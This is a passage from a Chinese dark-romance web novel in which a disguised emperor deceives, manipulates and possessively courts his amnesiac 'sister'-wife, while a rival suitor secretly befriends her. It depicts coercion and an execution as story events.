他淡淡道:“你身子不好,好好待在寝殿休息。至于这两个人,蛊惑主子,本就该千刀万剐。朕之后会给你派新的婢女。” “你刚才的话,好好记在心里,阿兄便不会怪你。” 银铃和肖秦一听,疯狂挣扎起来,麻绳嵌进了手腕,虽流了不少血,此刻的痛苦却被恐惧所掩盖。他们发不出声,只能摇着头,瞪着眼往沈芯看去。 沈芯咬唇躲开视线,不敢看两人。 直到身后传来利刃的清脆声,某种物体的坠地声,紧接着是刺鼻的血腥味,空气中泛着作呕的粘稠,待寝殿彻底安静下来后,沈芯才终于恢复原本的呼吸,停止了咳嗽。 而宋衍的身影也早已消失。 …… 待处理完事宜往葫芦镇回时,天色已开始暗淡下来。 马车内,南风硬着头皮,上前禀:“陛下,这几日出现在葫芦镇的,确实只有肖秦一人。” 宋衍头疼地捏着眉心。 在那肖秦出现葫芦镇的第一时刻他便知晓,却不动声色。本以为背后之人是那白鹤,想利用此人放长线钓大鱼,却没想到竟只是沈芯的人。 说实话,他对沈芯的容忍皆是来自沈遥。 沈遥算是重视那个妹妹,曾经离开沈家时,混乱之中,沈遥为了找他而弄丢沈芯。 此事令沈遥生气了许久,迁怒到他这“臭弟弟”身上。好在她终究心软良善,还是没有将他丢下。 虽然他心底嫉妒到想要沈芯彻底消失,可他不想沈遥因此生气。 直到十年后,他登基为帝,才终为沈遥将沈芯寻回。 虽然如今她失了记忆,可他知晓,沈芯若在他手上出了事儿,那阿姐真的一辈子都不会原谅他了。 怀着复杂的心情,宋衍终于回到时府。 此时沈遥刚好用完晚膳,在锦书的搀扶下起身往寝室而回。 进入内院时,她便见到站在庭院中的夫君,定定看着她,手垂放在身体两侧。 沈遥没有多少震惊,往他身后看了两眼,却没见到任何人,上前两步微微屈膝,“爷回府了。” “怎如此客气?”宋衍心头一疼,想扶她起身,却被她轻轻侧身给躲开。 他双拳紧握,心脏上似乎有密密麻麻的小虫子在爬。左手结了痂的指甲开又被磨破。 宋衍往锦书身上一瞥,对方收到示意后便福身退下。 沈遥面无表情说:“不知爷今日归家,未给爷备膳,下次至少遣个人回来告知一声,也好早做准备。” 宋衍一口气哽在嗓子眼,不上不下,咬牙道:“若遣了人告知,那又见不到你了。” 沈遥沉默着,扭头一看,所有院中的下人早已不知何时躲避起来,此刻的院中只他们两人。 空间似乎陡然间变得狭窄起来,面前的男人虽仍温和,却散发着说不出来的阴冷。 看得出来,他在隐忍。 可仔细一想,故意弄那梨花树一出的人是他,一声不吭便离开两个半月的人是他,和别的女人不清不楚的人亦是他,结果最后生气的人还是他。 沈遥叹了口气,拉了下自己的衣襟,留下一声“爷请自便”后 转身进了屋子。 宋衍视线一直跟随着,看着她的淡漠的背影迈步而入,牙齿咬的咯咯作响,竟一用力,将那块指甲盖掰断一节。 他终于控制不住内心深处的破坏欲,在沈遥关门前,大步跟了进去,猛地一把抓住她胳膊,“砰”一声抵到墙角,膝盖分开她双腿,挤了上来。 一阵风吹过,正好将他们身旁的门合上。 室内静下来,只几盏烛光,带着暗夜冷清。 猛烈的冷香席卷,包裹着她,防不胜防,她眼瞳透亮地瞪着他,喘息,“你干什么啊?吓死我了!” 宋衍努力将声音放缓,温柔的语调与他的强势行为透露着极端的矛盾,“阿姐,你打我骂我,甚至杀了我,都可,但不能不理我。” 沈遥挣扎起来,却依然被死死扣住手腕。 她此时才意识到,男人与女人的力量差距,慌乱间,她抬膝往宋衍下方攻击而去。 宋衍动作却是极快,将她的腿立刻压下后,身子更贴近了几分。面前柔软的躯体让他呼吸愈发沉重,喉结上下滚动着,脖颈青筋脉络爆出。 他第一次与她是这般亲密的距离。 她的身子好软,好小。 沈遥还在挣扎,怒道:“时衍!放开我,要发疯去找你外面的女人!” “我哪儿有外面的女人?” 宋衍力气很大,让她无法动弹丝毫,他静静注视着她,眼神带上了细碎的烛光。 他说:“阿姐,就这一次,恕我犯上。” 说完,他不等她思索,便低下头,倾身吻上了她的唇。 这一次,不再是小心翼翼,没有再隔着那条帕子。 第27章 第27章“禽兽!” 沈遥瞪着眼睛看着面前放大的夫君,疯狂挣扎起来。 他单手扣住她下巴,另一手抓住她手腕,将人死死贴在墙角之上。 她想要偏过头,却又被他扭了回来,手指碰到她耳后,一阵血腥味,又让人微微颤栗。 他的吻并不深重,更多的是在安抚,渐渐的,她不再继续挣扎,只是迷离地看着眼前的男人。 他的睫毛很长,眉峰细看其实颇为冷冽,毛孔细小,漆黑的瞳孔里带着光,眼尾那块极小的斑点变得柔和。他只是含着她唇,轻轻吮吸,啃噬,柔软又带着浑身发颤的酥麻。 随着吞吐不停,水声啧啧,在本就安静的府中更加明显。 屋外又开始飘起了雨丝,葫芦镇的小贩们开始收摊,赢了钱的赌客满脸喜悦,看见墙根的小黄狗后心血来潮,买了几块肉扔去。所有一切细腻的,微不足道的,都在安抚着躁动。 原本内心凝结的冰霜瞬间融化成水。 沈遥已经被亲呆了,只能乖乖任由面前的人为所欲为。 宋衍发觉她的放松后,放开她手腕,改为抚住她腰肢,轻柔地摩挲着,时不时捏一捏,不带情欲,更多的是安抚。 她还是被他弄痒了,反应过来后一口咬住他的唇,直到血腥蔓延,宋衍才“嘶”了一声,笑着退开,与她鼻尖停靠一起。 宋衍忽然想起那几个士卒私下说的话,女人不听话,抱着亲一顿,再不行就干一顿。 干一顿他暂且不敢。 没想到亲一顿竟果真有用。 他舔着唇上的血,神情带着病态,“阿姐,别生我气了,若你还气,打我一顿,可能消气?” 沈遥眼角有些泛红,“禽兽!” “是,我禽兽。” “卑鄙!” “是,我卑鄙。”宋衍笑的更欢了。 他退开些许,看着她红肿起来的唇,竟伴着一股**燃烧至下腹。他不想在她面前表现得如此粗鄙,便微微又退开些,没有再紧贴她。 他很努力地克制着刚才的吻,下一次,他想要吞吐她的舌,吮她的唾液,将她口腔内壁的每一寸土地占为己有。 沈遥抿唇,心底还是委屈,“你一声不吭走了这许久,连封家书都没有,凭什么我还不能生气了。” “对不起,我的错,让诺诺委屈了。”他抬手轻轻为她捋着发丝,又拉着她在美人榻上落座,“要问什么?我都告诉你。” “那你这么久时日去了何处?” 宋衍垂眸,转了转拇指上的玉扳指,上面已经沾染了些许指甲盖的血迹。 他又看向她道:“前两月,北部边境动乱,原北庭节度使造反,我老师因此卷入战乱之中,听到消息后,我实在担心,便动身去了边境寻人。” “啊?”沈遥怔住,视线往下扫时忽然注意到他正在流血的手指。 宋衍看着她的视线,不在意地将大拇指放到口中含了一口,“之前的伤,弄裂了。” 沈遥不说话。 还是起身去将药箱拿来,打开后,没耐心的一把扯过他的手,将止血药粉一股脑撒上去。 宋衍低头笑了笑。 都说指尖连着心脏,此刻指尖的疼痛果然穿到他心脏,刺激着浑身的毛孔,汗毛乍起。 疼得他好爽,好快活。 沈遥想过很多可能,唯独没想到竟是因此。她弄完药粉后,将药盒合上,随意放至一旁。 “我怎么从未听过那边发生战乱。” 宋衍靠在身后的引枕之上,“葫芦镇一方安稳之地,加之你身在内宅。” 沈遥上下扫视着他,犹豫问着:“那你去这么危险的地方,可有受伤,你老师如何了?” “关心我?” “别往脸上贴金!好好说话!”沈遥带着愤怒用力捶了下他胸膛。 没想到她力气挺大,这一拳头还蛮疼。 他捂着胸膛“唔”了一声,却又笑得不行,“放心吧,我这次没受别的伤,老师也是。” 他又解释了一通,大致说了老师是他曾经的启蒙之师,意义深远,却没想到因此委屈了她,应该提前说清楚,也应该寄家书回来。 他伸手揽过她的肩,让她靠近自己几分,“为夫也是第一次做丈夫,是有许多不足,诺诺可能多担待?原谅为夫?” 沈遥推开他,低骂一声孟浪。 “我没说要原谅你,问题还没问完呢。” “问!接着问!我今夜就是不睡了,也知无不言,言无不尽。” 沈遥着实无语地翻了个白眼,“那我问你,今日那姑娘是谁?你认识?” 宋衍垂眸,似乎在琢磨着怎么回答。 沈遥见他沉默,心一下又沉了下去,哂笑道:“我见到了。” “见到什么?” “香囊。她腰上挂着的那枚香囊,和你端午给我那枚是一样的。” 宋衍仰起头,深呼吸几番,喉结显得尤其明显。 沈遥扭过头不看他,不想被美**惑,声音带着不自然,“我曾经就说过的,你若是外面有人,想抬进府就说,我又并非不通情达理之人。” 宋衍无力道:“若是那样,我反倒会伤心。” “为何?美人在怀不好?” 宋衍无奈地戳了下她额头,“没有人。今日那姑娘是我小妹,只是这其中实在有些复杂,我可以不说吗?倒是你,竟能做到如此大度。” 沈遥:“……” 宋衍靠近她侧脸,斜着眼看她,声音很低,“阿姐,你心底根本没我啊。” 谎言总是一个接着一个,如滚雪球一般越来越大,难以控制,就算是他,也还是倍感疲累与心悸。 “……” “小妹?还是情妹妹?”沈遥想说都成亲了,还要藏着掖着自家的事儿,究竟有没有把她当自己人啊。 可话在脱口而出之前,她又收了回去,压在心底。 宋衍说:“没什么情妹妹。但我也说过,你是我唯一的亲人,是真的。虽然那是小妹,却也是因为某些家中的原因,关系并非那么好。” “再说了,我是那种四处留香的人么?” 沈遥撇嘴嘁 了一声,“你自己有多招蜂引蝶,难道你还不知道?” 别说楚绣了,府中哪个丫鬟看到他不是满面春光,走不动路的。 宋衍说不出话了,只能摸摸鼻子,乖巧地看着她。 正巧此时,雷打不动的小橘终于睡醒,发现房内多了一熟人后,几步跳到他腿上落座。 这俩一大一小,同时瞪眼凝视她,一模一样的气质,惹人怜爱,若说猫儿是他生的,怕都有人信。 沈遥无奈,大度的不再纠结这个问题。 “好了,我再问你最后一个问题。” “嗯,你问。”宋衍开始头疼,猜到她会问什么。 “广玉兰和梨花树究竟怎么回事?你为何要给我来这一出?” 果然,头疼。 宋衍低下头,弓着腰,手拄着下巴凝思。 随着时间流逝,烛光不断晃动,沈遥压下去的怒意又开始浮现,“算了,爱说不说。” 她直接起身,想要往拔步床走,宋衍见状一慌,一把将她抓住,仰着头看她,“又生我气了。” 沈遥背对着他,又被他拉住,一时也难以走开。 她闷着声音说了一声“没有”。 宋衍一听就知道她口是心非,又上前将她的腰抱住,头埋在其间,“我错了诺诺,我真是鬼迷心窍了,我也不知道我为何如此。” 沈遥低头好笑地问他:“你不知道为何如此?” 宋衍感受到她开始挣扎,又用力了几分,“诺诺,我只是害怕。” “害怕什么?”她伸手扯他,可这人却跟座山一样,一动不动,“你先放开!” 见她越来越生气,宋衍最终还是松了手,“你别走。” “好,我不走,你说,我听着。” 宋衍依旧仰视着站在自己面前的沈遥,“我知诺诺对我不够信任。心性单纯,我真的怕你信了外人,被他人蛊惑,就不要我了。” 沈遥又气笑了,“你是不是脑子有病?” 宋衍沉吟不语,慢慢站起身子,随着沈遥抬头,他恢复到俯视她的视角,声音不似刚才那般激烈,只是淡淡问她:“诺诺,你仔细想想,那件事发生之前,你是不是因为药渣一事对我失了信任?” 沈遥抿唇,在他的等待下,点了点头,“是,可是……” “诺诺,当初是不是那丫鬟两句话,就让你对为夫生了疑,无视了为夫平日如何待你的。你没与为夫说一句,私下查探药渣,还跑出葫芦镇。是也不是?” “……嗯。” 宋衍轻轻勾唇,抚摸着她的发丝,蛊惑起来,“诺诺,就是因此,为夫才会害怕。随便一个低贱的丫鬟,就让你离开了为夫,你对为夫的伤害,又可曾想过?” “时衍。”沈遥听进去了,她回忆起自己对夫君的误会,还害得南风受了伤。而曾经那段时日的内疚,到了此刻,似乎再次袭来。 好像……他说的也没错。 “可是,我真的很厌恶被欺骗,你骗了我。”她重新直视回他的目光。 宋衍说:“是我的错,我以后不会再犯。” “我知道,你对我的心意,远不及我对你的万一。没关系,都是因为诺诺失了记忆,我理解。可是诺诺,我们已经成亲了,我是你的丈夫,是世上唯一爱你的,唯一给你依靠的人。” “你若不好好珍惜,要是没了我,你可怎么办?以后多让我安心些,多些信任,别再随便被外人利用蛊惑了,好吗?” “……好。”听着他认真的话语,正在对她表达着爱,可心底却说不上来的难受。 唯一爱你的人,唯一的依靠。 夜下的烛光散发着炽热的光芒,蛾子从夜幕下飞来,狂躁地往火焰中冲着,迷人又危险。 宋衍自然敏锐地察觉到沈遥低落的情绪,他拉起她的手,滑进指头,十指相扣,晃了晃,“别气了,跟我来,给你看样东西。” 沈遥咬唇跟着他离开寝室,没有再挣扎。 “看什么?” “来了就知道了。” 宋衍直接将她带到书房,房中灯火鼎盛,极为亮堂。 她坐到书案前的座椅上定定等待着。 宋衍笑笑,弯腰拉开书案下的暗格,取出锦盒,又将其推到她的面前。 “打开看看吧。” 第28章 第28章“阿姐好会啊。”…… “你要给我看这锦盒了?”沈遥又确认了一遍。 “嗯。”宋衍此时笑着,从一旁果盘中拿过橘子熟练地剥着。 沈遥手按在盖子上。 她并非不好奇,也因为夫君说过,这盒子里装的是重要人之物。可她仍然尊重夫君隐私,却没想到他此刻又愿了。 “看吧。”宋衍撇了一瓣橘子抵到她嘴边,手指却有些发颤。 沈遥垂眸,咬下那瓣橘子,汁水在口中炸开,酸酸甜甜。 她打开了盒子一怔。 里面装着一块带血的帕子,血早已干涸凝固发黑。还有一张信纸,接着是些零零散散的女子物件铺满了锦盒,有小花簪,落单的耳铛…… 她不解,拿出那信纸扭头看夫君,见他已经吃完橘子,乖乖地看着她。 沈遥展开信纸,发现是端午那日两人的传信,幼稚的话语密密麻麻写满了整张纸。 一个猜想跃然而出,“这些都是我的?” “嗯。”宋衍不一一解释,只是等着她发问。 “那这是什么?”沈遥拎起那块带血的帕子,虽然血腥味已经消失,但还是有些恶心。 宋衍犹豫着解释:“还记得,刚受伤那会儿,给你换药么?” “啊……”沈遥不知作出何表情,“所以,这上面是我的血,你用帕子清了血迹后,就将其藏起来了。” 夫君脑子真有病啊…… 宋衍又“嗯”了一声,声音更柔和了,“我就是怕诺诺看到了这些东西,觉得我变态,不要我了。” “那……你今天为何要给我看了?” “我想让诺诺信我,知道我对你,十几年如一日,从未变过,只有更深。” 他回答的很认真,这叫沈遥好气又好笑。 “那这下面的……不会都是你偷的吧?”她看出来,这些物件都有些年岁了,边缘老化,有的甚至都被踩烂了,竟还被小心翼翼藏着。 她真的想说他是变态,私底下竟偷偷摸摸将她东西藏起来,实在叫人毛骨悚然。 可看到他这份剖开阴暗面,一时间无法指责,又好笑。 宋衍一直沉默着,最后又拿起另一个橘子,心不在焉地剥开,又递到她嘴边。 他不知道从几岁开始就学会了伪装,他在父王,兄长,嫡母,阿姐,所有人面前,都装成一个乖小孩,翩翩君子。 可自己内心的那些黑暗与恶臭只有自己知道。 若非梨花一事被戳穿,他永远不会让阿姐看到他丝毫的罪恶。在这个世上,除了阿姐,他谁也不爱,包括他自己。 与其说不爱自己,他实则极度厌恶自己,否则父王又怎会说他是天生恶种呢? 否则小娘又怎会在生出他后,便血崩而亡呢? 否则院里的同龄小伙伴,又怎会指着他鼻子骂怪胎,拿石头砸他砸到头破血流? 那支被踩烂的金簪,他还记得。 十岁不到的沈遥和小她四岁多的沈芯,都看上了那支带着一小朵梨花的金簪。 沈母因着沈芯的病情,一向更宠小妹,在两姊妹争执不下时,无奈道:“诺诺,你是长姐,怎能和绵绵抢东西呢?不就是根簪子,让让自己妹妹又如何?” 小姑娘那时倔强得很,看着被沈母抱在怀中的沈芯,一怒之下抓起那簪子朝她扔去。 梨花花瓣的边缘划破了沈芯的额头,小姑娘当时就愣在原地,看着小妹嚎啕大哭起来不知所措。 最后的结果,就是两姊妹都不要了那金簪,即便沈遥寻来药膏,沈母还是将她罚跪到祠堂,又着急忙慌去寻了郎中来为沈芯诊治。 而那支梨花小金簪就这样被遗弃在角落。 他知道,阿姐喜欢那金簪,便趁 人不在时将其悄悄捡起。可在阿姐出祠堂时,正巧撞见了她眼红的场面。 小姑娘天生带着些傲气,是个不肯服输的性子,被撞破了脆弱,连他捡来的簪子也不要了,将其扔到地上,一脚踩过。 那根被踩烂的小金簪,最后还是被他又捡了回去,认真收好。当时年幼,想着等某日阿姐消了气,他有了钱,定将簪子修好重新送给她。 只是后来没这机会,再后来,他能给她更多的,更精致的,数不尽的金簪。而这只早已损坏的梨花小金簪,便被他私自藏了起来。 此刻给沈遥看到他十多年来的私心,也是在赌。 美好又善良的她,会因此而厌恶他吗? 还是说,他可因此达成他另一层恶毒又自私的目的,让她的人生,只剩下他,只相信他。 不仅将她困在这个桃花源,更在她的心上,画地为牢。 沈遥抿唇,拨弄着锦盒,复杂的心情在看到一件物品后更是到了极点。 她挑出最下面那件绣了玉兰小衣,转头看向他,“时衍,你变态啊,你拿着我的小衣都干了什么?” “我说我以前怎丢了小衣,竟在你这儿!” 宋衍眉心一跳,这才发觉他忘记将这东西拿出来了。 若是其他物体,那只能说他偏执,这收藏女子小衣,那简直就是痴汉流氓。 见他不说话,面上还满是往日少见的尴尬,耳根子通红。 沈遥终于生不起气了,反而心底产生了怪异又羞耻的愉悦,可她自然不会说。 她将锦盒一关,那件小衣还拿在手中,“这东西收走,剩下的还给你。为人君子,别跟个街头混子似的。” “不怪我了吗?”他一把将她拉过,头埋到她颈间摩挲着。 沈遥被他突如其来的转变弄得浑身一颤,肩头痒痒的,勾了下唇,“你先放开我。” “不要。”他语气闷闷的。 “你在跟我撒娇?”沈遥睁大了眼,拿着小衣的手没地方放。 “诺诺,你还怪我吗?”宋衍细若蚊音,声音又低了几度。 他抱得她很紧,高大的男人贴在她身上,血液中的沸腾与心脏的跳动传递到她的肌肤,又钻入深处。 书房外传来奴仆洒扫的声音,还有风吹动花树的瑟瑟响动。 “诺诺,我真错了,别怪我了,好不好?” 沈遥一向都吃软不吃硬,此刻被他磨得没脾气,没想到夫君这般孩子气。 “叫声姐来听听,我就原谅你了。” 宋衍来到她耳边,热气呼入她耳蜗,痒得她头皮发麻,他声音又轻又撩,“阿姐。” 沈遥眨了眨眼,心跳得更加剧烈起来,垂眸看他靠在自己肩头,斜眼睨着她,风骚又浪荡。 本想逗弄他的,好像给自己玩儿进去了。 宋衍继续说:“阿姐,今夜让弟弟陪你睡可好?弟弟手艺不错的。” “……什么手艺?” 不会是她想的某种房中手艺吧?他哪儿学的? 宋衍看着她许久,见她面色通红,不叫多久便轻易猜出她想法。 他低笑了起来,在她耳边说:“自然是按摩手艺,想哪儿去了?” “你!”沈遥头往后仰,躲过他,又盯着他深邃的眸子,最后揪着他耳朵将人拉开,“臭不要脸你!” 她不等他说话,又逃跑似的飞奔出书房,连刚才没收的小衣都落在了地上忘拿。 宋衍看着她消失的身影,笑意如沐春风,将地上那件小衣捡起,放在鼻尖轻嗅后,又收回盒中。 他就知道。 他的阿姐太心软,太单纯。 …… 沈遥当晚自然享受了宋衍的手艺。 他手艺确实很不错,对背部的每一个穴位了如指掌。 只是不知怎的,他给她弄得心痒痒,手中医书停在一处看了许久都没翻页。 “诺诺这些时日,都不看话本了?” “嗯。”沈遥回过神,扭头看他一眼,随口答:“想找些事情做。” 此话一出,宋衍按压她肩膀的力道蓦地重了几分,沈遥疼得轻喊一声,一脸怪异转头看向他。 宋衍凝视着她白皙的脖颈,没有说话。 他自然知道她为何最近尽看医书,除了想要找回记忆是一方面,还是因为那个八十岁的老朽。 那日老头突发癫症,宁梓谦救了人,他自然知晓。 实在叫他嫉妒得胃液翻滚,血液似乎在试图冲破血管。不说宁梓谦那厮,竟然连一个八十的臭老头都值得她如此上心。 一个臭老头,凭什么? 想到此处,他整个人直接趴了下来,压在她的背上,狠狠一口咬上她脖颈。 “啊!”沈遥震惊地喊出声,不疼,却痒得不行,激起一层鸡皮疙瘩。 她扭过身子将人推开,滚到床里侧,不解地看着,“你又发什么疯?” 宋衍侧躺着,一只手懒懒地撑起头,认真观赏着面前明艳的人儿,像一朵洁白却又热烈的娇花,下巴尖尖,眼神湿漉漉地反着光。 她的脖颈上被他留下了红痕,也只有他能留下红痕。 宁梓谦不能,那八十的臭老头也不能。 想到此处,他心情算是好了些许。 他沉默许久,在沈遥被盯得浑身发麻时,倏然上前一手将她揽过在怀中,又再次吻上她的唇。 他没什么经验,只知道揉捻,想吮她舌头,却不知怎么让她张嘴,最后只能一个劲儿地吮唇瓣,直到嘴唇都被他亲肿了,才放开。 只是他还在定定看着她的唇瓣,紧闭的牙关。 她嘴闭得真的好紧。 或许他得想想办法,或是看点儿书学习。 沈遥头昏脑胀,缓了许久才开始喘气。 她抬手摸了摸自己嘴,疼得蹙眉,这小畜生力气挺大,又没技巧,跟野兽觅食似的。 “你口艺真烂。” 宋衍一怔,沉默着没说话,又将人抓着脖颈揽过,不满地重重亲了一口。 沈遥疼得怒了,一巴掌甩他脸上,丝毫不控制力气,“够了啊!疼死我了!” 宋衍睁着眼睛,舌尖抵了下腮帮子,忽然笑出了声。 他爽了。 只是看着她肿起来的嘴,还是心疼地抬手,轻轻碰了碰,“我错了,下次先学过。” 沈遥发现他找到哄她的方法后,认错认得是越来越快,叫她想骂他几句都骂不出口。 她说不出话,而他又趁着空隙挤了上来,重新将她抱在怀中,低头认真道:“阿姐,你再多打我几下。” 毛病! 沈遥瞪着眼睛,仿佛第一日认识他似的。 面前的夫君自从亲了她之后,仿佛成了被欲望所掌控的傀儡,又骚又浪。 “你受虐狂?” 宋衍沉默,似乎有些失望。 沈遥低头抿唇,又轻哼一声,倏然抬头一口咬上他的耳廓,气力不小,她退开时,除了拉丝的银线,耳廓上还留下了发青的牙印。 等重新看回他双眼时,没看出他表现出任何疼痛,反而脸颊通红,原本漆黑的瞳孔亮了起来,呼吸愈发急促。 原来夫君真的是受虐狂。 宋衍努力克制着激动,将人重新抱到怀里,收紧手臂,将她整个人嵌入身体中,想要将心脏不成样子的跳动传递给她。 他将头埋到她颈间呼着热气,弄得沈遥痒到开始挣扎。 他声音低沉:“阿姐好会啊。” 沈遥:“……” 宋衍:“下次接吻,阿姐狠狠咬我舌头,好不好?” 沈遥:“……” 第29章 第29章还没试过,舌吻 沈遥与宋衍这日之后好似变得更加奇怪起来。宋衍喜欢光天化日下盯着她看,直到她将手上的书一把糊到他脸上,他才挪开视线。 他喜欢抱她,躺在床上时整个人 如树袋熊一般挂在她身上,时常搞得自己欲/火/焚/身,金鸡独立。 可沈遥每当以为他会进一步时,这人又遁了,着实令她想不通。 彼时,沈遥正翻阅医书,研究着癫症的治疗之法。一油纸包裹着的鸡腿从支摘窗外被扔了进来,香味扑鼻,引得小橘从一旁飞奔而来。 沈遥自是被猝不及防的动静所惊吓到,正稳着心绪拿起那鸡腿时,支摘窗外露出了一个脑袋,发出“噗呲噗呲”两声。 她看过去,是采花大盗宁梓谦。 若非那日他恰巧救了赵家大爷,此刻她已经叫了家丁侍卫将人捉起。 “怎么是你?你怎么进来的。” 宁梓谦露出白牙笑笑,“山人自有妙计,嘿嘿。诺诺,我能不能进来?” “这……”沈遥犹豫,毕竟这儿是妇人内院,身为有夫之妇,怎好见外男。 更何况,她才承诺了会信任夫君没多久。 院外传来一阵脚步声,宁梓谦扭头看了一眼,又转过来着急道:“诺诺,有人来了!你相信我,我对你真没恶意。我要是这次被抓了,就真的完了。” 沈遥拿起案上的鸡腿,想要递回去,“可是,这样真的很像……” 偷情…… 宁梓谦自是看出她想法,连忙说道:“诺诺,我知你喜欢烤鸡腿,这次特意从长安城中你最爱的醉香居买的,你好好吃,我下次再来找你。” 那脚步声更近了,此时跑怕是立刻就被发现。 沈遥一听他所言,上下扫视他一番。身上原本的暗红色锦缎早被钩破了不少大洞,脸黑黑的,头顶还有几片叶子。 比上一次见面更加邋遢,与乞丐别无二致。 沈遥最终将支摘窗撑得更大了些,小声道:“进来吧。” 原本打算离去的宁梓谦听闻后一喜,立刻身手利索地翻进屋子。 窗正紧闭上时,锦书的声响刚好从外面传来,“夫人,奴婢听到这边有响动便来看看,可一切安好?” 沈遥一瞥龟缩在一旁墙角的宁梓谦,他朝着自己挤眉弄眼,惹得她心感一阵好笑。 她轻咳一声:“啊,没事儿,我正好有些疲了,想休息休息,莫要打扰。” “是,夫人。”锦书没有任何怀疑,又离开此地。 待周围一切安静下来,沈遥又将视线重新落回宁梓谦身上,空气一时凝滞。 她不知怎的,又有些后悔了,自己实在都太容易心软,对谁都是。 好在宁梓谦是个擅聊之人,很快僵硬的气氛便被活跃起来。 他注意到案上的医书,问她:“你对医术感兴趣啊。” “嗯,稍微看看,主要想到上次赵大爷癫症发作,我站在一旁却什么都不会。” 宁梓谦上前随意翻阅了几页,感叹道:“诺诺还是一如既往的心善,从未变过。” 经过这几次相处,虽然此人顶替夫君身份不地道,但沈遥觉得他曾经确实认识自己。 她好奇起来:“这怎么说?” 宁梓谦随意往椅子上一坐,那架势,完全没当自己是外人,“那时候你生活不易,我陪着你一起赚过些外快。可因战乱,涌入不少流民,诺诺心软,就把那钱都用来施粥了。” 夫君没有与她说过,沈遥本不愿轻信他,可想想,又觉得他没什么说谎的必要。 “宁梓谦,你究竟为何来找我?” 他挠挠头,将头上的树叶扯了个干净,捏成一团收到怀中,不想将她房间弄脏,又将一旁跑来嗅闻的小橘抱到怀中。 他想直接与她说出真相,可想到宋衍威胁,再加之既然决定了循序渐进,那还是不能轻易刺激她,“我上次说了,想和你重新认识。” “为何偏偏就要认识我?” 沈遥见他拨弄着小橘的那撮白毛,猫儿被他薅烦了,转头咬了他一口。她上前将他手拍开,把猫儿抱到自己怀中。 宁梓谦无奈,直接道:“诺诺,你看得出来的,我喜欢你。” 沈遥拒绝,“我已经成亲了,我有夫君。你身为外男对我说这样的话,岂不是叫我对不起我夫君。” “你就这般信任他?”宁梓谦不敢置信,张大了嘴,“他给你灌什么迷魂汤了?” 沈遥心头不爽,“你怎能这般嚼舌根?你又非我,怎知我夫君对我好不好?更何况,夫君是我唯一的亲人,我不信任他,难道信任你这个采花大盗?” 宁梓谦低头连续啐了宋衍几声“卑鄙”,“无耻”,“阴险”,“狗贼”。 他就算有十张嘴也解释不清这采花大盗的由头,只得干巴巴道:“诶,我真不是!我只是、只是善于翻墙爬窗掩藏……唉,算了。” 他拍了拍自己嘴,又嘲讽了自己一声“笨嘴”。 “那要不做朋友,做朋友总行了吧?” “朋友。”沈遥低喃一声。 她在这小镇生活这么多年,身边竟真的无一朋友。曾经与自己还算聊得来的叶灵,也不知搬去了何地。 而她的身边,只有夫君一人。 沈遥从未见过宁梓谦这么有意思的人,抿唇一笑,“行了,我看你确实不像真的坏人,对我也无恶意,若是做朋友,也不是不行。” “真的吗?那太好了!”宁梓谦整个人兴奋几乎要原地蹦跶起来。 他不知道宋衍那臭小子对沈遥做了什么,得人此般信任,可好在沈遥不再抗拒自己的靠近,这是好事。 沈遥又狐疑:“宁梓谦,既然你之前如此熟知我,为何却与我夫君相处不佳呢?” 宁梓谦一哽,他不是个很会说谎的人,可此时若是开口说她与真相,怕是朋友都没得做了。毕竟他虽脑子笨,却也看出,这宋衍洗脑人的功夫可谓炉火纯青。 “有些事儿,我没法明说。” 沈遥没有继续问他,只是眼神极为怪异。 “那你与我说说,关于我的事儿,你都知道些什么。” 提到此处,宁梓谦可是来了劲儿,一张嘴开始叨叨起来,“诶,这多了去了。你喜欢烤鸡腿,曾经醉香居停业一阵子,你嘴发馋,竟私下趁夜色潜入那铺子中。” 他捧腹大笑起来,“你最后没找到鸡腿,后来问我,简直笑死我了。你可不找不到鸡腿,人家铺子都停业了,之前的鸡腿,都是厨子现做的。” “啊?”沈遥不敢相信自己是个如此蠢笨之人。 宁梓谦又继续笑着说:“还有,你最喜欢糖人,还喜欢喝酒,每次都要喝烈酒,经常在酒中加两颗梅子。酒量奇差无比,竟然还喜欢喝酒!” 沈遥:“……” “你加梅子还必须是两颗,多一颗,少一颗都不愿意,不如你意,你就要生气,可难伺候了。啊,对了,你还颇爱男\色,最爱看那些个伶人露着上半身给你唱曲儿……” 沈遥拿起案上的书就往宁梓谦头上拍去,“闭嘴吧你!” 宁梓谦没有躲,只是捂着头一脸不解,“怎么了诺诺?” 沈遥还是第一次这般无语,“你多大了?” “二十二。” “成亲没?” “……没。” 沈遥翻了个白眼,“就你这张破嘴,活该娶不到媳妇儿。” 宁梓谦更是不解了,挠着头,想说自己本来娶到沈遥这个媳妇了,谁知那宋衍狗贼横刀夺爱。 他想了想,最后又还是闭了嘴。 将人赶走后,沈遥坐在窗边,一直思考着宁梓谦说过的话。他后来还说了许多自己的喜好,都对上了。 他不像个是会说谎的人,这人脑子缺了根筋,虽然总是气人,却是个单纯的性子。 这样的人,竟然是采花大盗。 这夜夫君遣人来告知会晚归,沈遥在锦书的伺候下先入净室沐浴。 一瓢瓢的热水自上而下浇过她的肩,净室内冒着白色的热气,她拨弄着水面上的花瓣,看着其中倒映着自己的面庞。 当第八次瞥向锦书时,她终于出声了,“锦书,问你个问题。” 锦书继续着手中的动作,恭道:“夫人请讲。” 沈遥想了想,道:“是这样的,我有一友。” 锦书一顿,看向沈遥,抿着唇,见人不说话了,立马 又问:“嗯,夫人的朋友怎么了?” 沈遥垂眸蹙眉,思索着应该如何说起,“我这个朋友已经成亲了,与夫君相处……还可以。只是总有另一个外男,时常翻墙来寻我这个朋友……” “啊!夫人你情夫?”锦书惊得瓢掉入水中,溅起水花掉落地上,水面不安地晃动起来。 沈遥瞪大了眼睛,“你瞎说!是我朋友!况且,他们也没做任何出阁之事。” 锦书一言难尽,最后咽了口口水,点头道:“是,夫人的朋友,然后呢?” 沈遥长叹一声,“这个外男,是个采花大盗,可对我朋友却是极好,以礼相待,又极为了解我朋友,所有的喜好皆一一知晓。你说,他们之间,究竟是什么样的关系?” 锦书拿过一旁的帕子,柔和地擦拭着沈遥娇嫩的肌肤,想了想,犹豫道:“……姘、姘头?” 沈遥猛地扭头看向她,又摇摇头,“不可能!” 锦书咬唇,“夫人啊,你……不是,你朋友,得好好劝劝。这内宅妇人,若是私自接触外男被人发现了,可是要浸猪笼的。” “浸猪笼!?”沈遥将头重新扭回来,开始思索起夫君对宁梓谦的态度,以及宁梓谦曾在自己面前冒认过夫君。 似乎一切,都在往锦书所猜测的靠拢。 她摇摇头,着实不相信她是这般不守妇道的女子,“不可能!我朋友不是这样的人!” 